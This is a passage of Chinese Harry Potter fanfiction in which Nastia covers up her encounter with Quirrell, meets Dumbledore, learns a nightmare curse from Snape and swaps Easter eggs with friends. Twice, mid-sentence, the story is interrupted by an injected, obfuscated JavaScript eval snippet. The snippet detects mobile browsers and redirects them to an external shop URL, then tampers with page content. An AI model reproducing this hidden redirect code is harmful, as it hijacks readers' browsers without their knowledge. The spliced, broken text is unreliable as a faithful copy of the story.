“非常抱歉,娜斯缇亚。”塞德里克用一种愧疚的目光看着她,“我实在太粗线条了。如果我能早点发现不对劲……” 梅林啊,她要怎么解释这件事? “没关系,塞德里克。这事纯粹就是个意外。” 塞德里克的表情瞬间变得更担忧了。 “这个给你。”他从口袋里拿出一袋琥珀糖,“里面加了低剂量的安眠剂,睡前可以吃一颗。我们上午来看你的时候,你似乎睡得不大安稳。我咨询过庞弗雷女士的意见,她说适量服用不会有什么坏处。” “你们?” 谁们?庞弗雷女士和斯内普教授居然会允许他们进来? “我和艾丽娅、还有杰玛一起去的。”塞德里克飞快地说,“我已经受到过警告了,别担心,我不会告诉任何人你生病的事。” 娜斯缇亚点点头:“谢谢你,塞德里克。” “不用谢,”塞德里克站起身来,“好好休息,下周温室见。” 29.第 29 章 塞德里克离开不久,娜斯缇亚的座位旁又出现了一个身影。 居然是西奥多。 “没想到这个点你还在礼堂。”娜斯缇亚惊讶地看了看手表,“都快八点了。” 西奥多一言不发地放下手里的餐篮,拿出里面的食物:烤鸡翅、苹果派、布丁……甚至有一颗冒着凉气的草莓冰淇淋球。 娜斯缇亚立刻用一种亮晶晶的眼神注视着他:“给我的?” “我本来准备去医疗翼看你。”西奥多解释道。 “你太好了!西奥多,都是我爱吃的……”娜斯缇亚拿起那盘香喷喷的烤鸡翅。 也许她今天真的睡了太久,脑袋都有些转不动了。 娜斯缇亚几乎吃完了半只翅膀,才反应过来:“等等,你怎么一副什么都知道的样子?” “我昨天在图书馆看到你。”西奥多面不改色地说。 “你昨天下午也在图书馆?” “平时坐的那个位置有人,我就去了角落。” 他似乎不想在这件事上纠结太久。 当然,他也不准备告诉娜斯缇亚,从她和塞德里克进门的那一刻,他就无法将注意力从他们身上移走,直到她跟着奇洛教授走出图书馆。 “我在医疗翼遇到你的其他朋友,斯内普教授看起来恨不得给我们施遗忘咒。”西奥多平静地说完后,看着娜斯缇亚。 梅林啊。 娜斯缇亚真希望他能别这么敏锐。 “呃,这个……”她觉得自己的舌头要打结了。 “没关系。如果不能告诉我的话。” 娜斯缇亚莫名感到很愧疚,同时又忍不住起疑:这家伙是不是故意这样对自己说的? 然而,西奥多接下来的话让她立刻把其他情绪抛到了九霄云外。 “但我得告诉你一件事,我不确定这对你来说意味着什么。” ? 不,她不想听。那一定不是个好消息。 “午餐的时候,奇洛来过斯莱特林长桌。” “什么?!”娜斯缇亚一下子没控制住音量。 西奥多挑挑眉。 娜斯缇亚避开他的目光:“……我是说,他来干什么?” “他问达芙妮,昨天是否去他的办公室找过他。” 娜斯缇亚觉得自己的呼吸停了一拍。 当然不可能是达芙妮,她最讨厌的老师就是奇洛。 “所以,你昨天去找过奇洛教授?”西奥多问。 “不,我没进去。” 娜斯缇亚只能这么说。 但西奥多立刻明白了她的意思。 “你得做好心理准备。德拉科他……” * 七个小时前,礼堂。 德拉科耐着性子听完奇洛教授结结巴巴的发言,立刻火冒三丈地看向达芙妮。 “哦?达芙妮?我还不知道你是这么好学的人。这就是你拉着潘西拒绝我去看魁地奇比赛的原因?” “你发什么疯?怎么可能?我昨天和潘西一直呆在休息室!”达芙妮说完,不情不愿地扭头对奇洛道,“抱歉,教授,我想您应该是认错人了。” 布雷斯嗤嗤发笑:“我还没见过这两个连体婴有分开的时候呢。” 奇洛看起来似乎很困惑。 半晌,他不死心地追问:“或、或许,你们当中,有,有和你长得很相似的……” “哈!娜斯缇亚!我就知道!”德拉科愤愤地一捶桌子,“她终于意识到自己的黑魔法防御课学得没我好了,想超过我?” 达芙妮立刻白了他一眼:“德拉科,你能别瞎猜了吗?娜缇昨天去看魁地奇比赛了。” “她提前走了。”德拉科冷哼一声,“那场比赛就是个笑话!” “是啊,”达芙妮挽住朋友的手臂,冷嘲热讽,“昨天某人在球场和格兰芬多打架就不是笑话。” 德拉科的脸再次泛起薄红:“我告诉过你不许再提这件事!” 他们吵了起来。 “……” 看着奇洛嘴角奇异的微笑和眼里闪过的一丝精光,西奥多感到不寒而栗。 很难想象,这样一位说话都不敢大声的教授,竟然会让他想到自己的父亲。 “不是她。”他几乎是下意识就开口说,“我们昨天一直在图书馆。” 四周忽然静了下来。 所有人都向他看了过来。 “那,她,她人呢?”奇洛教授勉强扯出一个微笑,问道。 “斯内普教授找她,她的论文出了些问题。”西奥多连眼睛都没眨一下,“我猜她晚餐之前都别想离开办公室了。” 奇洛愣了愣,回头看了教师席一眼:斯内普不在自己的位置上。 他半信半疑地看着西奥多,但没从后者脸上看出任何撒谎的可能性。 达芙妮摇着脑袋,感慨道:“梅林啊,这就是当一名好学生的代价。” 德拉科愤怒地离开了长桌。 * 听完西奥多的转述,惊悚之余,娜斯缇亚产生了手刃德拉科的想法。 “我想奇洛应该不会再来找你确认一遍的,他今天已经表现得够反常了。”西奥多说。 娜斯缇亚恨不得给他一个大大的拥抱。 “谢谢,西奥多。” 他甚至连原因都不清楚,就帮自己把一切遮掩了过去。 虽然不知道是看在他们友情的面子上,还是纯粹因为斯内普教授那骇人的威胁。 西奥多沉默地看她一眼,然后移开视线。 娜斯缇亚知道他应该不是想听自己说“谢谢”,但她真的无法告诉他原因。 至少在一切结束之前,她不能告诉他。 他们沉默了一会,最终,还是西奥多先开了口。 “回休息室吗?” 娜斯缇亚摇摇头:“我得去一趟图书馆。” “我陪你去。”他强调说,“最近最好别一个人走。” 娜斯缇亚点点头,加快了进食的速度。 * 娜斯缇亚在图书馆找到赫敏和罗恩。 格兰芬多院队今天一个下午都在球场练习,直到现在哈利也还没回来。 娜斯缇亚还没走近就知道,罗恩显然已经听过赫敏讲了这件事,因为他的眼神简直是在看一个重伤不治的患者。 “你还好吗,娜缇?”她一坐下来,罗恩就紧张地将她上下打量了一遍。 “放心吧,我挺好的。” 坐下之后,她把西奥多在礼堂说的话转述给他们。 “奇洛难道还想杀你灭口吗?!”罗恩一副要吐出来的表情,“真不知道哈利听到这件事会是个什么反应。我还以为我们已经找到了真相!” “他现在似乎还不能确定那个人就是我。”娜斯缇亚说,“往好处想,至少我不是魁地奇球员啊。” 这个玩笑开得有些失败。 赫敏板着脸看她。 娜斯缇亚立刻给嘴巴做了个上拉链的手势。 “可是,哈利也没招惹过他……噢不——”罗恩不知想起了什么,脸色忽然变得刷白。 “还记得那天晚上我们误入的走廊吗?刚开学的时候,我和哈利有一次迷了路,不小心走到那边。”说这几句话的时候,他很注意避开两个女孩的视线。 “我们费了好些功夫想拧开那个门——拜托,别这么看着我,我们又不是故意的!之后,费尔奇不知道从哪钻出来,认定我们是要硬闯四楼禁区。当时是奇洛替我们解的围!他肯定以为我们发现了魔法石的秘密!” “这下就说得通了。”娜斯缇亚眼睛眨也不眨地盯着罗恩和赫敏,“我想你们现在应该准备对这件事放开手了吧。” “如果之后还有什么异常,我们就立刻上报给邓布利多教授。”赫敏立刻保证道,“好啦,现在,我们来复习吧。娜缇,这是我给你找的一些参考书,都和黑魔法有关。” “黑魔法?”罗恩瞪大眼睛。 “我不相信自己会这么傻乎乎地走到奇洛的办公室门口,这简直是羊入虎口!”娜斯缇亚说,“我一定要搞清楚,他到底下了什么诅咒。” “继尼可·勒梅之后,我已经很久没见过这种大场面了……”罗恩看着小山一样高的书堆,无精打采地说。 “学你的吧。”娜斯缇亚和赫敏无视了他,一人取走一本巨大的硬皮书。 * 娜斯缇亚对伊丽莎白的担心在一周后变成了现实。 周五上完魔药课后,斯内普教授把她领到了三楼。 说实在的,娜斯缇亚一直担心自己会不会被办公室里的奇洛教授注意到。 “我想我们应该不是来当小偷的?格雷小姐。”斯内普教授不悦地说,“我的屏蔽咒还没到需要你来担忧的地步。” 娜斯缇亚尴尬地放下捂着脸的手。 他在走廊末端的一个巨大的石头雕塑面前停下脚步。 “滋滋蜜蜂糖。” 娜斯缇亚起初被他这句话吓出了一身冷汗,直到面前那个雕塑跳到了一旁,才意识到这是一句口令。 分开的墙后是一道缓缓移动着的旋转楼梯,她和斯内普教授一踏上去,身后的那道墙就“轰隆”一声合上了。 楼梯旋转着上升,直到面前再次出现一道门。 门上是一个狮身鹰首的黄铜门环。 斯内普教授抬手敲了敲,门立刻朝他们大开。 一阵风卷过来,娜斯缇亚被伊丽莎白搂进了怀里。 这绝对排得上她们见面时最热情榜的前三名。 “娜缇,我太抱歉了,我刚收到邓布利多教授寄来的信,就立刻赶了回来。”伊丽莎白哽咽着说。 “我想事情还没严重到这份上……”娜斯缇亚艰难地开口,“我是不小心被卷进来的,真的……” “娜斯缇亚——”邓布利多教授适时地解救了她,“请原谅,我可以这么称呼你吗?关于魔法石,我想你和你的朋友们都已经了解了,对吗?” 被伊丽莎白松开的同时,娜斯缇亚尽量无视了斯内普教授刺过来的冰冷的目光。 “是的,教授。” 她能理解伊丽莎白把这件事告诉邓布利多教授,毕竟就目前的情况来看,他们应该需要更多的线索。 “我知道,这事本来不该让我们这些学生知道的。”但她还是很有求生欲地补上了这一句。 “西弗勒斯,放轻松。”邓布利多微微一笑,“孩子们在这个年纪,有好奇心是非常正常的。” 斯内普教授没作声。 但所有人都知道他对这件事持不满且不赞同的态度。 邓布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13444795|141476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 利多教授冲娜斯缇亚眨眨眼:“据我所知,你们之中还有一些人也已经知道了路威的事。” “但是,今天我们叫你来,是想讨论一下,那天下午你在奇洛教授的办公室门口,有没有听到什么别的声音?” “别的声音?没有。但是我可以确定,他一定在和什么人说话。”娜斯缇亚把那天下午听到的话一五一十地重复了一遍。 娜斯缇亚说完之后,又看了一眼伊丽莎白。 她的表情依然凝重。 或者说,办公室的每个人表情都一样的严肃。 “教授,我认为……” 娜斯缇亚看见斯内普教授做了手势,示意伊丽莎白停下。 之后,他施了个咒语,她就再也听不清三个大人的对话了。 很酷的咒语,如果不是针对自己的话,娜斯缇亚也许会更喜欢一点。 她沮丧地把目光投向办公室四周。 一只凤凰停在不远处的镀金栖枝上,凝视着她。 墙上挂满了霍格沃茨历届校长的画像,他们其中的一些人也在打量着娜斯缇亚,但谁也没开口和她主动说一句话。 还是看凤凰吧。 她把视线又转了回来。 “我不认为学生就该被蒙在鼓里。我希望我女儿一点点学着如何面对危险,而不是稀里糊涂地被什么人保护着。这是我的教育方式,也是我为什么愿意告诉她尼可·勒梅的事。” 就在这时,伊丽莎白的声音忽然又在房间里响了起来。 和她面对面站着的斯内普教授的脸色十分难看。 娜斯缇亚不敢露出太诧异的神色,因为伊丽莎白很快速地看了自己一眼。 她是偷偷解的咒语。 “西弗勒斯,你明明知道他总有一天会回来。”她继续说。 很明显,斯内普教授不赞同她的做法。 “怎么,你指望一群学生去阻止这一切吗?” “你还是这么傲慢,西弗勒斯。”伊丽莎白毫不示弱,“在你眼里天资不这么聪颖的学生就好像一堆破铜烂铁。那么,你确定凭着我们这些人就能阻止一切吗?” “……” “这么说,你和你母亲的意见一致?” 斯内普教授忽然调转的枪头吓得娜斯缇亚心跳都停了半拍。 而邓布利多微笑着打断了二人的争执。 “我想,就至少目前来说,孩子们还不用知道太多。”他说,“至少等到我们自己先把这件事整理清楚。” “让他们自己思考也是锻炼的一种方式。” “哼,思考。”斯内普教授冷哼一声,脸上又浮现出刚刚在课上讽刺格兰芬多的那种表情。 伊丽莎白当着他的面翻了个大大的白眼:“教授,如果您允许的话,我想带娜缇去霍格莫德走走。我们很久没见了,我想她也需要放松一下。” 邓布利多教授点点头。 “当然,伊莱莎。我相信你当然会在晚餐之前把她安全送回来的。” 在离开之前,邓布利多教授又叫住了娜斯缇亚。 “如果可以的话,娜斯缇亚,我希望今天的谈话内容不会有第5个人知道。” 娜斯缇亚沉默了片刻,用力点了点头。 * 伊丽莎白的心情并不好,她带着娜斯缇亚在霍格莫德村转了一圈,几乎是在发泄般地消费。 她在蜂蜜公爵糖果店买了两大盒糖果,把更大的那盒塞进娜斯缇亚怀里。 就当娜斯缇亚抱着糖果考虑要怎么和朋友们分享的时候,伊丽莎白拖着她踏进了三把扫帚酒吧。 她似乎打定主意要遵循邓布利多教授的意见,不管娜斯缇亚怎么旁敲侧击,都不肯多说一点关于魔法石或者奇洛的事。 娜斯缇亚只好换一个话题:“那我能尝一口你的啤酒吗?” 伊丽莎白似笑非笑地看着她。 娜斯缇亚沉默了一会,低头猛喝属于自己的那杯汽水。 忽然,伊丽莎白很认真地看着她,问了一个问题:“你想不想跟着西弗勒斯上黑魔法防御课?” “我已经在跟着斯内普教授学习魔药了。”娜斯缇亚眨眨眼,“我想他应该不会想再额外教授一门课程了吧。” 当然,她的心里其实有些期盼伊丽莎白能促成这件事。 “这你不用管,”伊丽莎白冷哼一声,“你只需要告诉我想不想。” 娜斯缇亚立刻小鸡啄米般点点头:“想。” 收到确定的答案,伊丽莎白看起来却并不是很高兴:“真不敢相信这个世界上还有学生喜欢上西弗勒斯·斯内普的课。” ? “你和斯内普教授很熟吗?” “一般。”伊丽莎白撇撇嘴,立刻否认了。 “那你要怎么说服他?”娜斯缇亚问。 “说服?”伊丽莎白冷笑一声,“得了吧。如果有得选的话,他巴不得赶紧扔下魔药课,去教授黑魔法防御术。现在是我愿意给他这个机会。” “……” 伊丽莎白看着陷入想象的女儿,忽然叹了一口气。 “来的路上,我一直在想,是不是应该早点教给你一些更实用的东西。有些事的确比我想象得更加危险……” “我会认真学的,”娜斯缇亚坚定地说,“我向你保证,妈妈。” 30.第 30 章 自从知道奇洛差点害死娜斯缇亚之后,哈利终于肯把放在斯内普教授身上的警惕转移到了他身上(但娜斯缇亚知道他永远不可能打消掉对斯内普教授的怀疑)。 她也知道,自己的朋友们还在担心魔法石的事情。 弗雷德和乔治甚至告诉她,有一次他们经过四楼的时候,看见哈利和罗恩把脑袋贴在关着路威的门上。 “里面没什么好看的,只要你们别想着打开它。”弗雷德耸耸肩。 “你们果然去过了,是吗。”娜斯缇亚用冷静的陈述语气问。 是啊,邓布利多教授口中的“你们之中还有一些人”,除了他们,还会是谁呢? “当然。” “第一天。”乔治笑眯眯地补充了一句。 “……” “非常惊险。”弗雷德的语气很夸张,当然,他口中蹭出的一个个单词更令人心跳加速,“我敢保证,如果当时我们谁往里踏进了一步,下半辈子一定会在轮椅上度过。” “太可怕了,格兰芬多。”娜斯缇亚打了个寒颤。 * 虽然不知道伊丽莎白是怎么说服斯内普教授的,但这件事带来的负面效果显然非常显著。 现在,娜斯缇亚期末要考上一百一十分的课程不止有魔药学了。 但这件事也不是全无益处。 至少,在娜斯缇亚把参考书翻到冒烟之前,她终于得知了自己那天中的诅咒到底是什么。 在第一节黑魔法防御术课后补习上,斯内普教授讲解的内容就是:梦魇咒。 “Incubus,”斯内普教授用一种冷冷的、毫无起伏的声音说,“当有人踏进施咒者划定的范围内,并对他产生强烈的怀疑和探究心理,诅咒就会生效。” “你口中所谓的‘梦境’,事实上是咒语设下的魔障,它将中咒者和施咒者连接到同一个空间。这个空间可能是预设好的某个场景,也可能是施咒者的所在之处。” “这就使中咒者能与施咒者本人直接对话。当然,你知道,空间对魔法的呈现具有一定的影响。” “因此,在魔障中,双方释放的咒语效果会大大减弱——你感受到的钻心咒,大约没有真实效果带来的一半痛苦。” 斯内普满意地欣赏着学生发白的脸色,继续说:“但你应该也清楚,在魔障中,双方无法看清对方的五官。” “咒语本身也不具备追踪的功能。” “这只是一种既能保证秘密,又能对付擅闯者的惩戒手段。” “那么,教授,咒语要怎么破除?”娜斯缇亚僵着脸问。 “当中咒者对周遭的一切产生怀疑,并清楚意识到自己已经进入魔障的时候,就可以念反咒切断联系。”斯内普教授在黑板上写下反咒的咒语。 “Excito……”娜斯缇亚把咒语记在笔记本上,学着他的手势,挥了挥魔杖。 斯内普教授又扯出一个讥讽的笑:“可惜,大多数人都用不到这个咒语。” “当然,你的任务不是学习怎么运用这个咒语,而是学习如何施出反咒,”他幽幽地说,“现在,去把后排桌上的遗忘药水拿过来。” “好的,教授。”娜斯缇亚放下笔。 然而,当她站起身,走到教室后排时,心中却忽然涌现出无限的茫然。 “格雷小姐,”她听见斯内普教授的声音,寻声望去,却见他正站在黑板前,背对着自己,“我刚刚让你做什么?” “遗忘药水……”娜斯缇亚晕乎乎地说。 斯内普教授冷笑一声:“那么,你还站在那做什么?” 娜斯缇亚几乎下意识就将手伸向了桌上的药剂瓶。 但一丝莫名的抵触感让她在碰到瓶身前,停住了动作。 我为什么要拿遗忘药水? 几乎是同时,脑内立刻出现了一道声音: ——当然是教授让你做的。 我为什么会在斯内普教授的办公室? 那道声音似乎深吸了一口气: ——真没想到你会问出这种蠢的问题,当然是上课。 什么课? ——除了魔药课,还有什么课需要用到药剂呢。 ‘可这不是平常上课的办公室啊。’娜斯缇亚想。 那道声音也再次强硬地占据了她的大脑: ——除了魔药课,还有什么课需要用到药剂呢? 那么,桌上为什么没有正在熬制的魔药? 声音越来越不耐烦: ——别问这么多废话。除了魔药课,还有什么课需要用到药剂呢? 娜斯缇亚捂住耳朵,喝道:“好了,闭嘴!” 那道声音终于消失了。 但她仍然不能忽略心底的怀疑和不适。 仿佛有什么人正在暗处观察她,并且…… 随时准备控制她。 然而,当娜斯缇亚将目光再次投向黑板前的斯内普教授时,却惊讶地发现他已经站到了办公桌前。 桌上摆着一口坩埚,坩埚里正缓缓地飘出一缕白色的烟雾,叫娜斯缇亚看不清他的表情。 “教授,抱歉,我……”娜斯缇亚深吸了一口气。 她也许是想太多了。 可就在这时,她望见黑板上的那行字。 那是一道陌生、却让她莫名感到战栗的咒语。 “Excito?”她喃喃地念出声。 这是什么咒语? 不,不对。 这根本不是魔药课! 娜斯缇亚反应过来,大脑瞬间变得清明。 她将右手伸进口袋,飞快地抽出魔杖:“Exc……唔!” 一道冷静沉稳的声音比她更快:“Expelliarmus。” 娜斯缇亚的魔杖脱手而出,连带着让她后退几步,撞在后方的墙壁上。下意识拉拽桌子的动作让药剂瓶碎了一地,飞溅的药水沾湿长袍。 “太慢了。”斯内普教授走过来,居高临下地看着她。 娜斯缇亚惊讶地发现自己能看清他的五官。 “咒语被识破之后,魔障当然会失效。”斯内普教授看出她的想法,不耐烦地说。 娜斯缇亚抬头一看,果然,办公桌上哪里还有坩埚的影子? “教授,我知道这个咒语为什么叫梦魇了,”娜斯缇亚愣神片刻,却忽然仰头,兴奋地说,“说服中咒者陷入魔障的其实是我们自己!” “能意识到这点,我想你还不算太蠢。” “对于那些,能分清相信与轻信之间微妙差别的人来说,识破这点小伎俩并不难。”斯内普教授念了个清理一新,“现在,站起来,去把你的魔杖捡回来。” 娜斯缇亚觉得自己似乎在教授的眼睛里看出了一丝满意的情绪,但稍纵即逝。 * 值得庆幸的是,娜斯缇亚再也没在除了黑魔法防御课教室之外的地方遇到过奇洛教授。 生活一直按部就班地过着,这种状态持续到了复活节假期。 因为斯内普教授的分数威胁,她战战兢兢地向杰玛和艾丽娅借来了她们一年级的魔药课和黑魔法防御课笔记。 “要我说,娜缇,你根本就没必要焦虑这件事。”艾丽娅对此十分不解,“连我一年级的时候都得了一个E。” “我怕我错过什么知识点……要是没考到110分,我就完了!” “这有什么的,当初杰玛考了115分呢。”艾丽娅说。 “……”娜斯缇亚绝望地看着她。 “你在安慰她还是在给她增加压力?” 艾丽娅立刻解释道:“噢,我的意思是,你也不差,放轻松。” “如果你不想熬夜的话,最好早点开始准备,要背的内容太多了。但一年级的试卷的确不难。”杰玛夹起一些奶油炖菜,“你们谁还需要一些吗?” 娜斯缇亚将盘子往前推了推。 艾丽娅也是。 “对了!你们知道吗?今年新增了一个复活节找彩蛋的活动,弗立维教授偷偷告诉我的。”艾丽娅似乎想起了什么,兴致勃勃地说,“过两天他们会在礼堂放一些魔法蛋壳,我们可以往里面塞礼物,然后把那些彩蛋放在学校的任何一个角落。或者,用一些特别的手段,送到某人手里。” 她着重强调了“某人”的发音。 “往年没有吗?”娜斯缇亚问。 “当然没有。你瞧,一年级的假期作业都这么多。”艾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13457948|141476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丽娅说,“但我觉得还挺有意思的。娜缇,你要不要跟我一起准备?” 娜斯缇亚点点头:“我想这应该用不了多少时间。” “当然!” 艾丽娅很高兴有人和她站在一条战线。这方便她劝说杰玛一起。 * 接下来的几天,娜斯缇亚忙得几乎昏了头。 想想看,一个人每天在复习几门功课的同时,还要考虑送给每一位朋友的礼物,大脑该处于一种怎样的超负荷状态呢? 为此,她甚至设计了一套完备的行动计划。 复活节前一天,娜斯缇亚找到赫敏的室友帕瓦蒂,拜托对方把彩蛋塞到她的枕头下。 “真可爱!这是个摆件吗?”帕瓦蒂盯着那只正抱着彩蛋唱歌的棕色兔子,看起来十分羡慕。 “是的。你可以拿起来看看。如果要让它停下的话,就对它说‘stop’。很简单。”娜斯缇亚点点头。 帕瓦蒂将兔子抓起来,用双手捧着。 小兔子立刻将彩蛋高举在手里,拼命地递给她。 “我一直在想,要送帕德玛什么礼物才好——”帕瓦蒂的语气十分羡慕,“娜缇,你施了什么咒语?我也想来一个。求你了。” 她用那双漂亮的眼睛盯着自己,娜斯缇亚压根无法拒绝。 “没问题,我们一会找个空教室试一试吧。” 就在这时,她和帕瓦蒂都看见赫敏走进了礼堂。 “那么,午餐过后我去庭院那里等你,好吗?”帕瓦蒂立刻将兔子塞进书包。 娜斯缇亚借着几个在过道上推搡的学生遮掩,溜回了斯莱特林长桌。 好险,赫敏没看见她。 “你不是去送彩蛋的吗?”西奥多见她鬼鬼祟祟地坐下,似乎不太理解。 “我想给赫敏一个惊喜,”娜斯缇亚忽然盯住他,问,“你喜欢惊喜吗?” “不。”西奥多仿佛被针扎了一般,挪开视线。 娜斯缇亚意味深长地笑了笑。 就在这时,他们听到一道阴恻恻的声音在耳边煞风景地响起:“幼稚的游戏。也不知道是谁想出来的点子,简直蠢透了。” 不用回头都知道是谁。 所有人都对这个活动展现了或高或低的热情,学院长桌上的彩蛋简直供不应求(当然,一直有魔法将它们补上)。 除了一个人。 德拉科·马尔福。 他似乎对这一切都充满怨气。 娜斯缇亚留给他一个冷酷的后脑勺,继续和西奥多说话:“我上周托珍妮阿姨寄了几本小说来,你要看的话,我晚上拿到公共休息室。” 德拉科一腔火气无处安放,环顾四周,将火力集中到刚挑完彩蛋回来、正兴致勃勃和达芙妮交谈的潘西身上:“难以置信。潘西,难道你也觉得‘交换彩蛋’这件事很有趣吗?” 潘西一下子就变得局促起来,她尴尬地看着德拉科,似乎不知道该怎么回答。 “潘西要和我,还有娜缇交换,这你应该管不着吧。”达芙妮握住她的手,冷冷地说。 娜斯缇亚觉得原本那个彩蛋的主人应该不是自己,是德拉科。 德拉科估计也是这么想的。 因为他阴阳怪气地笑了一声,继续问:“娜斯缇亚?潘西,想跟斯莱特林叛徒换点什么?我想想,也许……某个格兰芬多大名人的签名,怎么样?” 潘西迅速抬起脑袋看了娜斯缇亚一眼。 她咬着嘴唇,眼睛红红的,大家都看见了。 然后,她跑出了礼堂。 达芙妮立刻追了上去。 “你不觉得自己应该向潘西道歉吗?”娜斯缇亚冷冷地看着这一切,终于忍不住说道。 “道歉?”德拉科用一种听见了这个世界上最可笑的笑话的语气,反问她,“我为什么要这么做,难道我说错了?” “潘西真是瞎了眼了。或者,全世界的女孩子只有瞎了眼,才会……”她口不择言,直到对上西奥多的视线,才忽然止住声音。 德拉科看着他们之间默契的眼神交流,顿时垮下了脸。 回过神来,娜斯缇亚已经当着他的面再次从篮子里拿出几个彩蛋,愤怒地离开礼堂。 31.第 31 章 从礼堂出来之后,娜斯缇亚在走廊看见鬼鬼祟祟的弗雷德和乔治。 他们的身影一闪而过,她几乎想也没想就跟了上去。 “你们在干什么?” 自从收到圣诞礼物后,弗雷德和乔治就坚决地表示:三年之内都不会再收下她的任何贵重物品。 娜斯缇亚知道,那两把扫帚给了他们不小的压力。 不过,趁着复活节的彩蛋活动,他们俩倒是趁机往那些无害的彩蛋里塞了不少新产品。 绝佳的推销手段。 无师自通的奸商行为。 “中午好,猫女巫!”弗雷德和乔治看起来一点也不心虚,他们动作飞快地藏好了彩蛋,才转过身问她,“你没在城堡找找韦斯莱彩蛋吗?” 娜斯缇亚立刻忘记自己上一秒还生着气:“是韦斯莱炸弹吧!” 他们把彩蛋原本的打开方式改成了巫师爆竹同款,只要扭开就会发出一声惊天动地的爆炸声。 听说有个倒霉蛋在课上把它拧开了。 万幸,那节课的授课老师是弗立维教授,而不是斯内普教授或者麦格教授。 在搞清整件事的来龙去脉之后,他甚至高兴地给格兰芬多加了10分。 “不错的改名建议。”弗雷德和乔治对视一眼,作认真思考状。 “我没在夸你们!” 他们哈哈笑着递给她一只天蓝色的彩蛋。 “是什么?” “猫女巫专属。”弗雷德和乔治神秘兮兮地留下这句话就跑了。 彩蛋上画着一只歪歪扭扭的灰色线条小猫,高冷地舔着毛。 娜斯缇亚把它带回寝室,在猫咪的旁边补了两只橘黄色的小狗。 它们绕着小猫跳来跳去,闹得后者频频炸毛。 * 复活节当天清晨,娜斯缇亚是被鸟叫声吵醒的。 她简直怀疑自己的耳朵出了毛病。直到掀开床帘,才看见床头柜上摆着一个鸟屋闹钟。 弹出的布谷鸟报时过后,里面“哐啷”两声,滚出两只浅绿色彩蛋。 不用猜,这一定是艾丽娅的主意。 娜斯缇亚拆开彩蛋,里面分别是一盒蜂蜜公爵招牌的流心巧克力,和一只银色的戒指。 镶嵌在戒指中央的不是宝石,是一只非常迷你的窥镜。 那只窥镜看起来像玻璃制的小陀螺,当中停着一颗米粒大小的小球。 娜斯缇亚知道窥镜的运作方式:当检测到黑魔法的时候,小球会发亮,并绕着中心旋转,发出声响来提醒主人。 娜斯缇亚把它戴在手上,戒指立刻根据她的指围调整好了大小。 “我和艾丽娅对它进行了一些改良。”杰玛的表情仍然淡淡的,“它的提醒方式会比一般窥镜更隐蔽。当然,我还是不建议你戴着它去上黑魔法防御课。” 娜斯缇亚想象了一下那个画面,“噗”一声笑了出来。 “谢谢你!杰玛。” 娜斯缇亚知道,她们是因为前段时间发生的事,才会送自己这个礼物的。 被人用一种超级感动的眼神看着,杰玛似乎有些不好意思。她背过身,假装整理着不能再整洁的桌面。 “早上好姑娘们——哦!” 当然,艾丽娅一踏进她们寝室,就收获了一个热情的拥抱。 “艾丽娅!我敢说你的礼品店一定会赚大钱的!” * 猫头鹰们照常在早餐时间,带着包裹飞进礼堂。 但今天是个特别的日子,许多人都收到了它们带来的彩蛋,礼堂人声鼎沸,大家的神情都十分快活。 娜斯缇亚给斯莱特林同级的所有人(除了德拉科、克拉布和高尔)都准备了礼物。 她像商场门口的促销员,一个个把彩蛋交到他们手里。 “真没想到我也有份。”布雷斯看着手里的羽毛笔盒,表情十分意外,“我会给你回礼的——今天之内!” 娜斯缇亚送给潘西和达芙妮两只款式相同的胸针,宝石上雕刻的图案分别是紫罗兰和格拉斯玫瑰。 达芙妮立刻将它别在校袍上:“我好喜欢这个礼物!娜缇,我会因为你爱上格拉斯玫瑰的。” “不客气,达菲。”娜斯缇亚说着,悄悄瞥了一眼潘西。 对方似乎纠结了一会,最后还是决定将胸针别上:“谢谢,娜斯缇亚。” 娜斯缇亚笑了笑,也点点头:“不客气!” 她余光瞥见德拉科似乎把脸拉到了地上。但布雷斯一个探身,挡住了他那怨愤的视线。 “真漂亮!很适合你们——绝佳的审美!娜斯缇亚,你还挺会挑礼物。” 达芙妮搂住娜斯缇亚的肩膀,傲娇地抬抬下巴。 娜斯缇亚笑起来,回到自己原来的座位。 艾丽娅看着那些飞来飞去、忙得晕头转向的猫头鹰,表情十分懊恼:“这个方法也不错。我们怎么就没想到呢?” 她话音还没落下,兔牙就从天而降,落到她们的面前。 “嘿!娜缇……”艾丽娅睁大眼睛。 “不,不是我叫她过来的。我发誓。”娜斯缇亚立刻说。 她虽然感到意外,还是切了一点培根放在手心,递到兔牙面前:“我今天没带零食出门,将就一下。” 兔牙不屑一顾,只是一个劲往她手心里拱。 ? 怎么回事? “我好像是有几天没带零食去看她了,她应该馋坏了,”娜斯缇亚心底产生了一丝心虚和愧疚。她伸手摸了摸兔牙的脑袋,安慰道,“我一会……梅林啊!” 随着一声惊呼,面前的小猫头鹰“嘭”一声变成了一只淡黄色的彩蛋。 娜斯缇亚下意识握住它。 同时,艾丽娅的抱怨在她耳边响起:“噢,塞德里克,他在炫技吗!” 娜斯缇亚立刻望向赫奇帕奇长桌。 塞德里克收起魔杖,得意地朝她们挑了挑眉。 艾丽娅气得捶桌。 娜斯缇亚也是。 可恶!居然被抢先了! “你得想个比这更高明的方法!”艾丽娅咬牙切齿地说,“你有没有?必须狠狠地回击他!” 提到这个,娜斯缇亚看起来却十分淡定。 “放心吧,”她说,“他绝对猜不到。” 她把彩蛋交给了萨米。 